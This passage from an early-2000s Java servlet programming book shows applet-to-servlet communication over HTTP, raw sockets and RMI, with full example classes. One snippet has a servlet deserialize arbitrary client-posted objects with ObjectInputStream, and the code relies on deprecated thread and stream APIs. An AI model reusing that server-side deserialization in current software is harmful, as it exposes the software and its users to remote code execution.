JDK 1.1 includes two additional features that have an impact on applet-server communication: JDBC and RMI. The JDBC (Java database connectivity) API, discussed in Chapter 9, "Database Connectivity", allows a Java program to connect to a relational database on the same machine or on another machine. Java applets written to JDK 1.1 can use JDBC to communicate with a database on the server. This special-purpose communication doesn't generally require applet-servlet communication. However, it is often helpful for an applet (especially one written to JDK 1.0) to forgo connecting straight to the database (or to a pass-through proxy on the web server) and instead connect to a servlet that handles the database communication on the applet's behalf (as explained in the sidebar "Servlets in the Middle Tier" in Chapter 9, "Database Connectivity"). For example, an applet that wants to look up a person's address can connect to a servlet using HTTP, pass the name of the person using HTTP parameters, and then receive the address as either a specially formatted string or a serialized object. This use of applet-servlet communication tends to piggy-back on existing protocols like HTTP, so we aren't going to cover it in any more detail here.

The RMI (Remote Method Invocation) API allows an applet to invoke the methods of a Java object executing on the server machine, and, in some cases, it also allows the object on the server machine to invoke the methods of the applet. The advantages of RMI for applet-server communication are compelling:

  • It allows applets and server objects to communicate using an elegant high-level, object-oriented paradigm. Requests can be made as method invocations, passing serialized object parameters if necessary. Responses can be received as serialized objects or even references to other remote objects. But to even use the words request and response shows we've been using HTTP too much! With RMI, there are no requests or responses, just method invocations. To go back to our stock tracker example, the applet can get the daily high for Sun stock by calling sunw.getDailyHigh(), where sunw is a Java object that exists on the server.

  • It allows server objects to make callbacks to the methods of the applet. For example, with our stock tracking example, the server can notify interested applets that a stock price has changed by calling applet.update(stock).

  • It can be made to work through firewalls (though it doesn't like it, and current browsers don't support it very well). The RMI transport layer normally relies on direct socket connections to perform its work. When an applet executes behind a firewall, however, its socket connections fail. In this case, the RMI transport layer can automatically begin operating entirely within the HTTP protocol.[2] This is not without cost, though. The HTTP overhead affects performance, and the HTTP request/response paradigm cannot support callbacks.

    [2] For a description of the system properties necessary for an RMI client application to poke through a firewall see John D. Mitchell's JavaWorld Java Tip 42 at http://www.javaworld.com/javaworld/javatips/jw-javatip42.html. (Unmentioned in the article but also important are the socksProxySet, socksProxyHost, and socksProxyPort properties necessary for SOCKS-based proxies.) All these system properties should be set automatically by web browsers, but unfortunately few web browsers currently do this, leaving their applets with no way to determine the proper settings and no way to use RMI through a firewall.

The disadvantages of RMI are equally concerning:

  • It's complicated. RMI communication uses special stub and skeleton classes for each remote object, and it requires a naming registry from which clients can obtain references to these remote objects.

  • It's supported in few browsers. Of all the popular browsers available as of this writing, only Netscape Navigator 4 includes RMI support. Previous Netscape browser versions and all versions of Microsoft's Internet Explorer do not support RMI without installing a special plug-in.

  • It can be used only by Java clients. The server object can't be shared by a web browser or even a C++ client.

For a more information on RMI programming, see Java Network Programming, by Elliotte Rusty Harold (O'Reilly) and Java Distributed Computing, by Jim Farley (O'Reilly).

CORBA (Common Object Request Broker Architecture) is a technology similar to RMI that enables communication between distributed objects written in various languages. With CORBA and its IIOP (Internet Inter-ORB Protocol) communication protocol, a C++ client can communicate with a Java servlet. Demonstrating this ability extends beyond the scope of this book. For more information, see http://www.acl.lanl.gov/ and http://java.sun.com/products/jdk/idl.

10.1.4. The Hybrid Approach

Now that we've examined all the options, the question remains: how should our stock tracking applet communicate with its stock feed server? The answer is: it depends.

If we can guarantee that all our potential clients support it, RMI's elegance and power make it an ideal choice. But currently that's like assuming all your friends enjoy your Star Trek jokes. It can be true if you carefully choose your friends (or your clients), but it's generally not the case in the real world.

When RMI isn't available, the bidirectional capabilities of the non-HTTP socket connection make it look fairly attractive. Unfortunately, that bidirectional communication becomes nonexistent communication when the applet ends up on the far side of a firewall.

There's always the old workhorse, HTTP communication. It's straightforward to implement and works on every Java-enabled client. And if you can guarantee that the client supports JDK 1.1 (and this is easier to guarantee than that the client support RMI), you can use object serialization.

Perhaps the best solution is to use every solution, with servlets. Servlets make it possible to combine the HTTP, non-HTTP, and RMI applet-server communication techniques, supporting them all with a single servlet. That's right: one servlet, multiple access protocols. Why would anyone want to do this? Well, it's a handy technique when an applet wants to communicate using RMI or a non-HTTP protocol but needs to fallback to HTTP when necessary (such as when it finds itself behind a firewall). By using the same servlet to handle every client, the core server logic and the server state can be collected in one place. When you control your environment, of course, you can drop one or more of these protocols. But isn't it nice to know you don't have to?

Previous | Home | Next
9.5. Advanced JDBC Techniques | Book Index | 10.2. Daytime Server
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Daytime Server (Java Servlet Programming)

 Java Servlet Programming Search this book

10.2. Daytime Server

For a simple demonstration of each communication technique, we're going to write an applet that asks its server for the current time of day. The applet first uses an HTTP connection, then a non-HTTP socket connection, and finally an RMI connection. Of course, an applet can normally get the current time from the system on which it's running. To give this example an air of practicality, let's assume the applet needs an approximate time stamp for some event and cannot rely on the client machine to have a correctly set clock.

10.2.1. The Applet

We're going to be using the same example applet throughout this section. The skeleton code for this applet, DaytimeApplet, is shown in Example 10-1. Right now, the applet just creates a user interface where the times it retrieves can be displayed, as shown in Figure 10-1. As we proceed with this example, we'll implement its getDateUsingHttpText(), getDateUsingHttpObject(), getDateUsingSocketText(), getDateUsingSocketObject(), and getDateUsingRMIObject() methods. Note that the examples in this chapter use several JDK 1.0 methods that are deprecated in JDK 1.1. This is to maximize portability.

Figure 10-1. The DaytimeApplet user interface

Example 10-1. DaytimeApplet, without all the good stuff

import java.applet.*;
import java.awt.*;
import java.io.*;
import java.util.*;

public class DaytimeApplet extends Applet {

  TextField httpText, httpObject, socketText, socketObject, RMIObject;
  Button refresh;

  public void init() {
    // Construct the user interface

    setLayout(new BorderLayout());

    // On the left create labels for the various communication
    // mechanisms
    Panel west = new Panel();
    west.setLayout(new GridLayout(5, 1));
    west.add(new Label("HTTP text: ", Label.RIGHT));
    west.add(new Label("HTTP object: ", Label.RIGHT));
    west.add(new Label("Socket text: ", Label.RIGHT));
    west.add(new Label("Socket object: ", Label.RIGHT));
    west.add(new Label("RMI object: ", Label.RIGHT));
    add("West", west);

    // On the right create text fields to display the retrieved time values
    Panel center = new Panel();
    center.setLayout(new GridLayout(5, 1));

    httpText = new TextField();
    httpText.setEditable(false);
    center.add(httpText);

    httpObject = new TextField();
    httpObject.setEditable(false);
    center.add(httpObject);

    socketText = new TextField();
    socketText.setEditable(false);
    center.add(socketText);

    socketObject = new TextField();
    socketObject.setEditable(false);
    center.add(socketObject);

    RMIObject = new TextField();
    RMIObject.setEditable(false);
    center.add(RMIObject);

    add("Center", center);

    // On the bottom create a button to update the times
    Panel south = new Panel();
    refresh = new Button("Refresh");
    south.add(refresh);
    add("South", south);
  }

  public void start() {
    refresh();
  }

  private void refresh() {
    // Fetch and display the time values
    httpText.setText(getDateUsingHttpText());
    httpObject.setText(getDateUsingHttpObject());
    socketText.setText(getDateUsingSocketText());
    socketObject.setText(getDateUsingSocketObject());
    RMIObject.setText(getDateUsingRMIObject());
  }

  private String getDateUsingHttpText() {
    // Retrieve the current time using an HTTP text-based connection
    return "unavailable";
  }

  private String getDateUsingHttpObject() {
    // Retrieve the current time using an HTTP object-based connection
    return "unavailable";
  }

  private String getDateUsingSocketText() {
    // Retrieve the current time using a non-HTTP text-based socket
    // connection
    return "unavailable";
  }

  private String getDateUsingSocketObject() {
    // Retrieve the current time using a non-HTTP object-based socket
    // connection
    return "unavailable";
  }

  private String getDateUsingRMIObject() {
    // Retrieve the current time using RMI communication
    return "unavailable";
  }

  public boolean handleEvent(Event event) {
    // When the refresh button is pushed, refresh the display
    // Use JDK 1.0 events for maximum portability
    switch (event.id) {
      case Event.ACTION_EVENT:
        if (event.target == refresh) {
          refresh();
          return true;
        }
    }
    return false;
  }
}

For this applet to be available for downloading to the client browser, it has to be placed under the server's document root, along with an HTML file referring to it. The HTML might look like this:

<HTML>
<HEAD><TITLE>Daytime Applet</TITLE></HEAD>
<BODY>
<CENTER><H1>Daytime Applet</H1></CENTER>
<CENTER><APPLET CODE=DaytimeApplet CODEBASE=/ WIDTH=300 HEIGHT=180>
</APPLET></CENTER>
</BODY></HTML>

The CODEBASE parameter indicates the directory where the applet's class file has been placed. The parameter is relative to the document root, which for the Java Web Server is generally server_root/public_html. Assuming the HTML file was named daytime.html, this applet can be viewed at the URL http://server:port/daytime.html.

10.2.2. Text-based HTTP Communication

Let's start by implementing the lowest-common-denominator approach-- text-based HTTP communication.

10.2.2.1. The servlet

For the DaytimeApplet to retrieve the current time from the server, it has to communicate with a servlet that returns the current time. Example 10-2 shows such a servlet. It responds to all GET and POST requests with a textual representation of the current time.

Example 10-2. The DaytimeServlet supporting basic HTTP access

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DaytimeServlet extends HttpServlet {

  public Date getDate() {
    return new Date();
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    out.println(getDate().toString());
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }
}

This servlet's class files should be placed in the standard location for servlets, typically server_root/servlets. Once you place them there, they can be accessed by any web browser using the URL http://server:port/servlet/DaytimeServlet.

10.2.2.2. Back to the applet

Now, for our DaytimeApplet to access this servlet, it must behave just like a browser and make an HTTP connection to the servlet URL, as the implementation of getDateUsingHttpText() in Example 10-3 shows.

Example 10-3. DaytimeApplet getting the time using HTTP

import java.net.URL;                     // New addition
import com.oreilly.servlet.HttpMessage;  // A support class, shown later

  private String getDateUsingHttpText() {
    try {
      // Construct a URL referring to the servlet
      URL url = new URL(getCodeBase(), "/servlet/DaytimeServlet");

      // Create a com.oreilly.servlet.HttpMessage to communicate with that URL
      HttpMessage msg = new HttpMessage(url);

      // Send a GET message to the servlet, with no query string
      // Get the response as an InputStream
      InputStream in = msg.sendGetMessage();

      // Wrap the InputStream with a DataInputStream
      DataInputStream result =
        new DataInputStream(new BufferedInputStream(in));

      // Read the first line of the response, which should be
      // a string representation of the current time
      String date = result.readLine();

      // Close the InputStream
      in.close();

      // Return the retrieved time
      return date;
    }
    catch (Exception e) {
      // If there was a problem, print to System.out
      // (typically the Java console) and return null
      e.printStackTrace();
      return null;
    }
  }

This method retrieves the current time on the server using a text-based HTTP connection. First, it creates a URL object that refers to the DaytimeServlet running on the server. The server host and port for this URL come from the applet's own getCodeBase() method. This guarantees that it matches the host and port from which the applet was downloaded. Then, the method creates an HttpMessage object to communicate with that URL. This object does all the dirty work involved in making the connection. The applet asks it to make a GET request of the DaytimeServlet and then reads the response from the returned InputStream.

The code for HttpMessage is shown in Example 10-4. It is loosely modeled after the ServletMessage class written by Rod McChesney of Sun Microsystems.

Example 10-4. The HttpMessage support class

package com.oreilly.servlet;

import java.io.*;
import java.net.*;
import java.util.*;

public class HttpMessage {

  URL servlet = null;
  String args = null;

  public HttpMessage(URL servlet) {
    this.servlet = servlet;
  }

  // Performs a GET request to the previously given servlet
  // with no query string.
  public InputStream sendGetMessage() throws IOException {
    return sendGetMessage(null);
  }

  // Performs a GET request to the previously given servlet.
  // Builds a query string from the supplied Properties list.
  public InputStream sendGetMessage(Properties args) throws IOException {
    String argString = "";  // default

    if (args != null) {
      argString = "?" + toEncodedString(args);
    }
    URL url = new URL(servlet.toExternalForm() + argString);

    // Turn off caching
    URLConnection con = url.openConnection();
    con.setUseCaches(false);

    return con.getInputStream();
  }

  // Performs a POST request to the previously given servlet
  // with no query string.
  public InputStream sendPostMessage() throws IOException {
    return sendPostMessage(null);
  }

  // Performs a POST request to the previously given servlet.
  // Builds post data from the supplied Properties list.
  public InputStream sendPostMessage(Properties args) throws IOException {
    String argString = "";  // default
    if (args != null) {
      argString = toEncodedString(args);  // notice no "?"
    }

    URLConnection con = servlet.openConnection();

    // Prepare for both input and output
    con.setDoInput(true);
    con.setDoOutput(true);

    // Turn off caching
    con.setUseCaches(false);

    // Work around a Netscape bug
    con.setRequestProperty("Content-Type",
                           "application/x-www-form-urlencoded");

    // Write the arguments as post data
    DataOutputStream out = new DataOutputStream(con.getOutputStream());
    out.writeBytes(argString);
    out.flush();
    out.close();

    return con.getInputStream();
  }

  // Converts a Properties list to a URL-encoded query string
  private String toEncodedString(Properties args) {
    StringBuffer buf = new StringBuffer();
    Enumeration names = args.propertyNames();
    while (names.hasMoreElements()) {
      String name = (String) names.nextElement();
      String value = args.getProperty(name);
      buf.append(URLEncoder.encode(name) + "=" + URLEncoder.encode(value));
      if (names.hasMoreElements()) buf.append("&");
    }
    return buf.toString();
  }
}

Some of you may have been expecting the HttpMessage class to establish a raw socket connection to the server and proceed to speak HTTP. This approach would certainly work, but it isn't necessary. The higher-level java.net.URL and java.net.URLConnection classes already provide this functionality in a convenient abstraction.

Let's do a quick walk-through of HttpMessage. HttpMessage is designed to communicate with just one URL, the URL given in its constructor. It can send multiple GET and/or POST requests to that URL, but it always communicates with just the one URL.

The code HttpMessage uses to send a GET message is fairly simple. First, sendGetMessage() creates a URL-encoded query string from the passed-in java.util.Properties list. Then, it appends this query string to the saved URL, creating a new URL object. At this point, it could elect to use this new URL (named url) to communicate with the servlet. A call to url.openStream() would return an InputStream that contains the response. But, unfortunately for our purposes, by default all connections made using a URL object are cached. We don't want this--we want the current time, not the time of the last request. So HttpMessage has to turn caching off.[3] The URL class doesn't directly support this low-level control, so HttpMessage gets the URL object's URLConnection and instructs it not to use caching. Finally, HttpMessage returns the URLConnection object's InputStream, which contains the servlet's response.

[3] Actually, we could leave it up to the servlet to turn caching off, by having it set its Pragma header to "no-cache". But it can't hurt to have it in the applet as well.

The code HttpMessage uses to send a POST request (sendPostMessage()) is similar. The major difference is that it directly writes the URL-encoded parameter information in the body of the request. This follows the protocol for how POST requests submit their information. The other difference is that HttpMessage manually sets the request's content type to "application/x-www-form-urlencoded". This should be set automatically by Java, but setting it manually works around a bug in some versions of Netscape's browser.

We should mention that HttpMessage is a general-purpose class for HTTP communication. It doesn't have to be used by applets, and it doesn't have to connect to servlets. It's usable by any Java client that needs to connect to an HTTP resource. It's included in the com.oreilly.servlet package, though, because it's often useful for applet-servlet communication.

For the HttpMessage class to be usable by applets, it has to be made available for downloading along with the applet classes. This means it must be placed in the proper location under the web server's document root. For the Java Web Server, this location is server_root/public_html/com/oreilly/servlet. We recommend you copy the class there from wherever you originally installed the com.oreilly.servlet package (probably server_root/classes/com/oreilly/servlet).

Note that HttpMessage as currently written does not provide a mechanism for an applet to either set or get the HTTP headers associated with its request and response. The URLConnection class, however, supports HTTP header access with its setRequestProperty() and getHeaderField() methods. You can add this functionality if you need it.

Now, with all this code working together, we have an applet that retrieves the current time from its server using text-based HTTP applet-servlet communication. If you try it yourself, you should see the "HTTP text" date filled in, while the rest of the dates are still marked "unavailable."

10.2.3. Object-based HTTP Communication

With a few modifications, we can have the DaytimeApplet receive the current time as a serialized Date object.

10.2.3.1. The servlet

For backward compatibility, let's change our DaytimeServlet to return a serialized Date only if the request asks for it by passing a "format" parameter with the value "object". The code is given in Example 10-5.

Example 10-5. The DaytimeServlet using HTTP to serve an object

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DaytimeServlet extends HttpServlet {

  public Date getDate() {
    return new Date();
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    // If the client says "format=object" then
    // return the Date as a serialized object
    if ("object".equals(req.getParameter("format"))) {
      ObjectOutputStream out = new ObjectOutputStream(res.getOutputStream());
      out.writeObject(getDate());
    }
    // Otherwise send the Date as a normal string
    else {
      PrintWriter out = res.getWriter();
      out.println(getDate().toString());
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }
}

As the code shows, sending a serialized Java object is quite simple. This technique can be used to send any primitive types and/or any Java objects that implement the Serializable interface, including a Vector that contains Serializable objects. Multiple objects can also be written to the same ObjectOutputStream, as long as the class receiving the objects reads them in the same order and casts them to the same types.

You may notice that the servlet didn't set the content type of the response to indicate it contained a serialized Java object. The reason is that currently there are no standard MIME types to represent serialized objects. This doesn't really matter, though. A content type acts solely as an indication to the client of how to handle or display the response. If an applet already assumes it's receiving a specific serialized Java object, everything works fine. Sometimes, though, it's useful to use a custom MIME type (specific to your application), so that a servlet can indicate to an applet the contents of its response.

10.2.3.2. The applet

The applet code to retrieve the serialized Date object is very similar to the code to retrieve plain text. The getDateUsingHttpObject() method is shown in Example 10-6.

Example 10-6. The DaytimeApplet using HTTP to retrieve an object

private String getDateUsingHttpObject() {
  try {
    // Construct a URL referring to the servlet
    URL url = new URL(getCodeBase(), "/servlet/DaytimeServlet");

    // Create a com.oreilly.servlet.HttpMessage to communicate with that URL
    HttpMessage msg = new HttpMessage(url);

    // Construct a Properties list to say format=object
    Properties props = new Properties();
    props.put("format", "object");

    // Send a GET message to the servlet, passing "props" as a query string
    // Get the response as an ObjectInputStream
    InputStream in = msg.sendGetMessage(props);
    ObjectInputStream result = new ObjectInputStream(in);

    // Read the Date object from the stream
    Object obj = result.readObject();
    Date date = (Date)obj;

    // Return the string representation of the Date
    return date.toString();
  }
  catch (Exception e) {
    // If there was a problem, print to System.out
    // (typically the Java console) and return null
    e.printStackTrace();
    return null;
  }
}

There are two differences between this method and the getDateUsingHttpText() method. First, this method creates a Properties list to set the "format" parameter to the value "object". This tells DaytimeServlet to return a serialized object. Second, the new method reads the returned content as an Object, using an ObjectInputStream and its readObject() method.

If the class being serialized is not part of the Java Core API (and therefore isn't already available to the applet), it too has to be made available in the proper location under the web server's document root. An applet can always receive an object's serialized contents, but it needs to download its class file to fully reconstruct the object.

Now the applet can retrieve the current time using both text-based and object-based HTTP communication. If you try it yourself now (with a web browser or applet viewer that supports JDK 1.1), you should see both the "HTTP text" and "HTTP object" fields filled in.

10.2.3.3. Posting a serialized object

Before we go on, we should look at one more (hitherto unmentioned) method from the HttpMessage class: sendPostMessage(Serializable) . This method helps an applet upload a serialized object to a servlet using the POST method. This object transfer isn't particularly useful to our daytime server example (and is kind of out of place here), but we mention it because it can come in handy when an applet needs to upload complicated data structures to its server. Example 10-7 contains the code for this method.

Example 10-7. Posting a serialized object

// Uploads a serialized object with a POST request.
// Sets the content type to java-internal/classname.
public InputStream sendPostMessage(Serializable obj) throws IOException {
  URLConnection con = servlet.openConnection();

  // Prepare for both input and output
  con.setDoInput(true);
  con.setDoOutput(true);

  // Turn off caching
  con.setUseCaches(false);

  // Set the content type to be java-internal/classname
  con.setRequestProperty("Content-Type",
                         "java-internal/" + obj.getClass().getName());

  // Write the serialized object as post data
  ObjectOutputStream out = new ObjectOutputStream(con.getOutputStream());
  out.writeObject(obj);
  out.flush();
  out.close();

  return con.getInputStream();
}

An applet uses sendPostMessage(Serializable) just as it uses sendPostMessage(Properties). Here is the code for an applet that uploads any exceptions it encounters to a servlet:

catch (Exception e) {
  URL url = new URL(getCodeBase(), "/servlet/ExceptionLogger");
  HttpMessage msg = new HttpMessage(url);
  InputStream in = msg.sendPostMessage(e);
}

The servlet, meanwhile, receives the Exception in its doPost() method like this:

ObjectInputStream objin = new ObjectInputStream(req.getInputStream());
Object obj = objin.readObject();
Exception e = (Exception) obj;

The servlet can receive the type of the uploaded object as the subtype (second half) of the content type. Note that this sendPostMessage(Serializable) method uploads just one object at a time and uploads only serializable objects (that is, no primitive types).

10.2.4. Socket Communication

Now let's take a look at how an applet and servlet can communicate using non-HTTP socket communication.

10.2.4.1. The servlet

The servlet's role in this communication technique is that of a passive listener. Due to security restrictions, only the applet can initiate a socket connection. A servlet must be content to listen on a socket port and wait for an applet to connect. Generally speaking, a servlet should begin listening for applet connections in its init() method and stop listening in its destroy() method. In between, for every connection it receives, it should spawn a handler thread to communicate with the client.

With HTTP socket connections, these nitty-gritty details are managed by the web server. The server listens for incoming HTTP requests and dispatches them as appropriate, calling a servlet's service(), doGet(), or doPost() methods as necessary. But when a servlet opts not to use HTTP communication, the web server can't provide any help. The servlet acts, in essence, like its own server and thus has to manage the socket connections itself.

Okay, maybe we scared you a bit more than we had to there. The truth is that we can write a servlet superclass that abstracts away the details involved in managing socket connections. This class, which we call DaemonHttpServlet, can be extended by any servlet wanting to make itself available via non-HTTP socket communication.[4]

[4] The name "daemon" was chosen to refer to Unix daemons, programs that run in the background quietly handling certain events. And where did those programs get the "daemon" moniker? According to the New Hacker's Dictionary, it originally came "from the mythological meaning, (but was) later rationalized as the acronym `Disk And Execution MONitor'".

DaemonHttpServlet starts listening for client requests in its init() method and stops listening in its destroy() method. In between, for every connection it receives, it calls the abstract handleClient(Socket) method. This method should be implemented by any servlet that subclasses DaemonHttpServlet.

Example 10-8 shows how DaytimeServlet extends DaemonHttpServlet and implements handleClient() to make itself available via non-HTTP socket communication.

Example 10-8. The DaytimeServlet acting as a non-HTTP server

import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.DaemonHttpServlet;

public class DaytimeServlet extends DaemonHttpServlet {

  public Date getDate() {
    return new Date();
  }

  public void init(ServletConfig config) throws ServletException {
    // As before, if you override init() you have to call super.init()
    super.init(config);
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    // If the client says "format=object" then
    // send the Date as a serialized object
    if ("object".equals(req.getParameter("format"))) {
      ObjectOutputStream out = new ObjectOutputStream(res.getOutputStream());
      out.writeObject(getDate());
    }
    // Otherwise send the Date as a normal ASCII string
    else {
      PrintWriter out = res.getWriter();
      out.println(getDate().toString());
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }

  public void destroy() {
    // Now, unlike before, if you override destroy() you also have to call
    // super.destroy()
    super.destroy();
  }

  // Handle a client's socket connection by spawning a DaytimeConnection
  // thread.
  public void handleClient(Socket client) {
    new DaytimeConnection(this, client).start();
  }
}

class DaytimeConnection extends Thread {

  DaytimeServlet servlet;
  Socket client;

  DaytimeConnection(DaytimeServlet servlet, Socket client) {
    this.servlet = servlet;
    this.client = client;
    setPriority(NORM_PRIORITY - 1);
  }

  public void run() {
    try {
      // Read the first line sent by the client
      DataInputStream in = new DataInputStream(
                           new BufferedInputStream(
                           client.getInputStream()));
      String line = in.readLine();

      // If it was "object" then return the Date as a serialized object
      if ("object".equals(line)) {
        ObjectOutputStream out =
          new ObjectOutputStream(client.getOutputStream());
        out.writeObject(servlet.getDate());
        out.close();
      }
      // Otherwise, send the Date as a normal string
      else {
        // Wrap a PrintStream around the Socket's OutputStream
        PrintStream out = new PrintStream(client.getOutputStream());
        out.println(servlet.getDate().toString());
        out.close();
      }

      // Be sure to close the connection
      client.close();
    }
    catch (IOException e) {
      servlet.getServletContext()
        .log(e, "IOException while handling client request");
    }
    catch (Exception e) {
      servlet.getServletContext()
        .log("Exception while handling client request");
    }
  }
}

The DaytimeServlet class remains largely unchanged from its previous form. The major difference is that it extends DaemonHttpServlet and implements a handleClient(Socket) method that spawns a new DaytimeConnection thread. This DaytimeConnection instance bears the responsibility for handling a specific socket connection.

DaytimeConnection works as follows. When it is created, it saves a reference to the DaytimeServlet, so that it can call the servlet's getDate() method, and a reference to the Socket, so that it can communicate with the client. DaytimeConnection also sets its running priority to one less than normal, to indicate that this communication can wait if necessary while other threads perform more time-critical work.

Immediately after it creates the DaytimeConnection thread, DaytimeServlet starts the thread, causing its run() method to be called. In this method, the DaytimeConnection communicates with the client using some unnamed (but definitely not HTTP) protocol. It begins by reading the first line sent by the client. If the line is "object", it returns the current time as a serialized Date object. If the line is anything else, it returns the current time as a normal string. When it is done, it closes the connection.

10.2.4.2. The superclass

The low-level socket management is done in the DaemonHttpServlet class. Generally, this class can be used without modification, but it is useful to understand the internals. The code is shown in Example 10-9.

Example 10-9. The DaemonHttpServlet superclass

package com.oreilly.servlet;

import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public abstract class DaemonHttpServlet extends HttpServlet {

  protected int DEFAULT_PORT = 1313;  // not static or final
  private Thread daemonThread;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);

    // Start a daemon thread
    try {
      daemonThread = new Daemon(this);
      daemonThread.start();
    }
    catch (Exception e) {
      getServletContext().log(e, "Problem starting socket server daemon thread");
    }
  }

  // Returns the socket port on which this servlet will listen.
  // A servlet can specify the port in three ways: by using the socketPort
  // init parameter, by setting the DEFAULT_PORT variable before calling
  // super.init(), or by overriding this method's implementation
  protected int getSocketPort() {
    try { return Integer.parseInt(getInitParameter("socketPort")); }
    catch (NumberFormatException e) { return DEFAULT_PORT; }
  }

  abstract public void handleClient(Socket client);

  public void destroy() {
    // Stop the daemon thread
    try {
      daemonThread.stop();
      daemonThread = null;
    }
    catch (Exception e) {
      getServletContext().log(e, "Problem stopping server socket daemon thread");
    }
  }
}

// This work is broken into a helper class so that subclasses of
// DaemonHttpServlet can define their own run() method without problems.

class Daemon extends Thread {

  private ServerSocket serverSocket;
  private DaemonHttpServlet servlet;

  public Daemon(DaemonHttpServlet servlet) {
    this.servlet = servlet;
  }

  public void run() {
    try {
      // Create a server socket to accept connections
      serverSocket = new ServerSocket(servlet.getSocketPort());
    }
    catch (Exception e) {
      servlet.getServletContext().log(e, "Problem establishing server socket");
      return;
    }

    try {
      while (true) {
        // As each connection comes in, call the servlet's handleClient().
        // Note this method is blocking. It's the servlet's responsibility
        // to spawn a handler thread for long-running connections.
        try {
          servlet.handleClient(serverSocket.accept());
        }
        catch (IOException ioe) {
          servlet.getServletContext()
            .log(ioe, "Problem accepting client's socket connection");
        }
      }
    }
    catch (ThreadDeath e) {
      // When the thread is killed, close the server socket
      try {
        serverSocket.close();
      }
      catch (IOException ioe) {
        servlet.getServletContext().log(ioe, "Problem closing server socket");
      }
    }
  }
}

The init() method of DaemonHttpServlet creates and starts a new Daemon thread that is in charge of listening for incoming connections. The destroy() method stops the thread. This makes it imperative that any servlet subclassing DaemonHttpServlet call super.init(config) and super.destroy() if the servlet implements its own init() and destroy() methods.

The Daemon thread begins by establishing a ServerSocket to listen on some specific socket port. Which socket port is determined with a call to the servlet's getSocketPort() method. The value returned is either the value of the init parameter "socketPort", or, if that init parameter doesn't exist, the current value of the variable DEFAULT_PORT. A servlet may choose to override the getSocketPort() implementation if it so desires.

After establishing the ServerSocket, the Daemon thread waits for incoming requests with a call to serverSocket.accept() . This method is blocking--it stops this thread's execution until a client attaches to the server socket. When this happens, the accept() method returns a Socket object that the Daemon thread passes immediately to the servlet's handleClient() method. This handleClient() method usually spawns a handler thread and returns immediately, leaving the Daemon thread ready to accept another connection.

The server socket clean-up is equally as important as its set-up. We have to be sure the server socket lives as long as the servlet, but no longer. To this end, the destroy() method of DaemonHttpServlet calls the Daemon thread's stop() method. This call doesn't immediately stop the Daemon thread, however. It just causes a ThreadDeath exception to be thrown in the Daemon thread at its current point of execution. The Daemon thread catches this exception and closes the server socket.

There are two caveats in writing a servlet that acts like a non-HTTP server. First, only one servlet at a time can listen to any particular socket port. This makes it vital that each daemon servlet choose its own socket port--by setting its socketPort init parameter, setting the DEFAULT_PORT variable before calling super.init(config), or overriding getSocketPort() directly. Second, a daemon servlet must be loaded into its server and have its init() method called before it can accept incoming non-HTTP connections. Thus, you should either tell your server to load it at start-up or be sure it is always accessed via HTTP before it is accessed directly.

10.2.4.3. The applet

The applet code to connect to the servlet using non-HTTP communication, primarily the getDateUsingSocketText() and getDateUsingSocketObject() methods, is shown in Example 10-10.

Example 10-10. The DaytimeApplet getting the time using a socket connection

import java.net.Socket;                    // New addition

static final int DEFAULT_PORT = 1313;   // New addition

private int getSocketPort() {
  try { return Integer.parseInt(getParameter("socketPort")); }
  catch (NumberFormatException e) { return DEFAULT_PORT; }
}

private String getDateUsingSocketText() {
  InputStream in = null;
  try {
    // Establish a socket connection with the servlet
    Socket socket = new Socket(getCodeBase().getHost(), getSocketPort());

    // Print an empty line, indicating we want the time as plain text
    PrintStream out = new PrintStream(socket.getOutputStream());
    out.println();
    out.flush();

    // Read the first line of the response
    // It should contain the current time
    in = socket.getInputStream();
    DataInputStream result =
      new DataInputStream(new BufferedInputStream(in));
    String date = result.readLine();

    // Return the retrieved string
    return date;
  }
  catch (Exception e) {
    // If there was a problem, print to System.out
    // (typically the Java console) and return null
    e.printStackTrace();
    return null;
  }
  finally {
    // Always close the connection
    // This code executes no matter how the try block completes
    if (in != null) {
      try { in.close(); }
      catch (IOException ignored) { }
    }
  }
}

private String getDateUsingSocketObject() {
  InputStream in = null;
  try {
    // Establish a socket connection with the servlet
    Socket socket = new Socket(getCodeBase().getHost(), getSocketPort());

    // Print a line saying "object", indicating we want the time as
    // a serialized Date object
    PrintStream out = new PrintStream(socket.getOutputStream());
    out.println("object");
    out.flush();

    // Create an ObjectInputStream to read the response
    in = socket.getInputStream();
    ObjectInputStream result =
      new ObjectInputStream(new BufferedInputStream(in));

    // Read an object, and cast it to be a Date
    Object obj = result.readObject();
    Date date = (Date)obj;

    // Return a string representation of the retrieved Date
    return date.toString();
  }
  catch (Exception e) {
    // If there was a problem, print to System.out
    // (typically the Java console) and return null
    e.printStackTrace();
    return null;
  }
  finally {
    // Always close the connection
    // This code executes no matter how the try block completes
    if (in != null) {
      try { in.close(); }
      catch (IOException ignored) { }
    }
  }
}

For both these methods, the applet begins by creating a Socket that is used to communicate with the servlet. To do this, it needs to know both the host name and the port number on which the servlet is listening. Determining the host is easy--it has to be the same host from which it was downloaded, accessible with a call to getCodeBase().getHost(). The port is harder, as it depends entirely on the servlet to which this applet is connecting. This applet uses the getSocketPort() method to make this determination. The implementation of getSocketPort() shown here returns the value of the applet's socketPort parameter, or (if that parameter isn't given) returns the value of the DEFAULT_PORT variable.

Once it has established a socket connection, the applet follows an unnamed protocol to communicate with the servlet. This protocol requires that the applet send one line to indicate whether it wants the current time as text or as an object. If the line says "object", it receives an object. If it says anything else, it receives plain text. After sending this line, the applet can read the response as appropriate.

